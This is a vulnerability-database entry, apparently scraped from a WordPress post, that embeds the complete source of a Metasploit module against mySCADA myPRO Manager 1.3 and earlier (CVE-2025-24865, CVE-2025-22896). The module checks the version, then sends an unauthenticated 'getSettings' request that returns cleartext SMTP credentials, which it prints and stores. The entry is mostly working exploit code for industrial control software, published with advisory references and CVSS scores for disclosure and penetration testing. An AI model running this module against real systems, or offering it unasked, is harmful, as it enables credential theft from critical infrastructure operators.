{“lastseen”:”2025-08-29T19:25:37″,”description”:”Credential Harvester in MyPRO Manager \\u0026lt;= v1.3 from mySCADA. The product suffers from…”,”published”:”2025-08-29T18:53:23″,”modified”:”2025-02-25T18:53:08″,”type”:”metasploit”,”title”:”mySCADA myPRO Manager Credential Harvester (CVE-2025-24865 and CVE-2025-22896)”,”source”:””,”references”:””,”id”:”MSF:AUXILIARY-ADMIN-SCADA-MYPRO_MGR_CREDS-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-22896″,”CVE-2025-24865″],”sourceData”:”class MetasploitModule \\u003c Msf::Auxiliary\\n include Msf::Exploit::Remote::HttpClient\\n prepend Msf::Exploit::Remote::AutoCheck\\n CheckCode = Exploit::CheckCode\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘mySCADA myPRO Manager Credential Harvester (CVE-2025-24865 and CVE-2025-22896)’,\\n ‘Description’ =\\u003e %q{\\n Credential Harvester in MyPRO Manager \\u003c= v1.3 from mySCADA.\\n The product suffers from a broken authentication vulnerability (CVE-2025-24865) for certain functions. One of them is the configuration page for notifications, which returns the cleartext credentials (CVE-2025-22896) before correctly veryfing that the associated request is coming from an authenticated and authorized entity.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [‘Michael Heinzl’], # Vulnerability discovery \\u0026 MSF module\\n ‘References’ =\\u003e [\\n [ ‘URL’, ‘https:\/\/www.cisa.gov\/news-events\/ics-advisories\/icsa-25-044-16’],\\n [ ‘CVE’, ‘2025-24865’],\\n [ ‘CVE’, ‘2025-22896’]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2025-02-13’,\\n ‘DefaultOptions’ =\\u003e {\\n ‘RPORT’ =\\u003e 34022,\\n ‘SSL’ =\\u003e false\\n },\\n ‘Platform’ =\\u003e ‘win’,\\n ‘Arch’ =\\u003e [ ARCH_CMD ],\\n ‘Targets’ =\\u003e [\\n [\\n ‘Windows_Fetch’,\\n {\\n ‘Arch’ =\\u003e [ ARCH_CMD ],\\n ‘Platform’ =\\u003e ‘win’,\\n ‘DefaultOptions’ =\\u003e { ‘FETCH_COMMAND’ =\\u003e ‘CURL’ },\\n ‘Type’ =\\u003e :win_fetch\\n }\\n ]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS]\\n }\\n )\\n )\\n\\n register_options(\\n [\\n OptString.new(\\n ‘TARGETURI’,\\n [ true, ‘The URI for the MyPRO Manager web interface’, ‘\/’ ]\\n )\\n ]\\n )\\n end\\n\\n def check\\n begin\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘assets\/index-DBkpc6FO.js’)\\n })\\n rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError\\n return CheckCode::Unknown\\n end\\n\\n if res.to_s =~ \/const S=\\”([^\\”]+)\\”\/\\n version = ::Regexp.last_match(1)\\n vprint_status(‘Version retrieved: ‘ + version)\\n if Rex::Version.new(version) \\u003c= Rex::Version.new(‘1.3’)\\n return CheckCode::Appears\\n end\\n\\n return CheckCode::Safe\\n end\\n return CheckCode::Unknown\\n end\\n\\n def run\\n post_data = {\\n ‘command’ =\\u003e ‘getSettings’\\n }\\n\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘ctype’ =\\u003e ‘application\/json’,\\n ‘data’ =\\u003e JSON.generate(post_data),\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘get’)\\n })\\n\\n fail_with(Failure::Unknown, ‘No response from server.’) if res.nil?\\n fail_with(Failure::UnexpectedReply, ‘Non-200 returned from server.’) if res.code != 200\\n print_good(‘Mail server credentials retrieved:’)\\n data = res.get_json_document\\n\\n if data.key?(‘smtp’) \\u0026\\u0026 data[‘smtp’].is_a?(Hash)\\n smtp_info = data[‘smtp’]\\n\\n host = smtp_info.fetch(‘host’, ‘Unknown Host’)\\n port = smtp_info.fetch(‘port’, ‘Unknown Port’)\\n auth = smtp_info.fetch(‘auth’, ‘Unknown Auth’)\\n user = smtp_info.fetch(‘user’, ‘Unknown User’)\\n passw = smtp_info.fetch(‘pass’, ‘Unknown Password’)\\n\\n print_good(\\”Host: #{host}\\”)\\n print_good(\\”Port: #{port}\\”)\\n print_good(\\”Auth Type: #{auth}\\”)\\n print_good(\\”User: #{user}\\”)\\n print_good(\\”Password: #{passw}\\”)\\n\\n unless user == ‘Unknown User’ || passw == ‘Unknown Password’\\n store_valid_credential(user: user, private: passw, proof: data.to_s)\\n end\\n end\\n end\\n\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/auxiliary\/admin\/scada\/mypro_mgr_creds.rb”,”cvss”:{“score”:10,”severity”:”CRITICAL”,”vector”:”CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:H\/VI:H\/SI:H\/VA:H\/SA:H”,”version”:”4.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/admin\/scada\/mypro_mgr_creds\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-08-29T19:25:37″,”description”:”Credential Harvester in MyPRO Manager \\u0026lt;= v1.3 from mySCADA. The product suffers from…”,”published”:”2025-08-29T18:53:23″,”modified”:”2025-02-25T18:53:08″,”type”:”metasploit”,”title”:”mySCADA myPRO Manager Credential Harvester (CVE-2025-24865 and CVE-2025-22896)”,”source”:””,”references”:””,”id”:”MSF:AUXILIARY-ADMIN-SCADA-MYPRO_MGR_CREDS-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-22896″,”CVE-2025-24865″],”sourceData”:”class MetasploitModule \\u003c Msf::Auxiliary\\n include Msf::Exploit::Remote::HttpClient\\n…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,169,13,7,11,5],"class_list":["post-15158","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n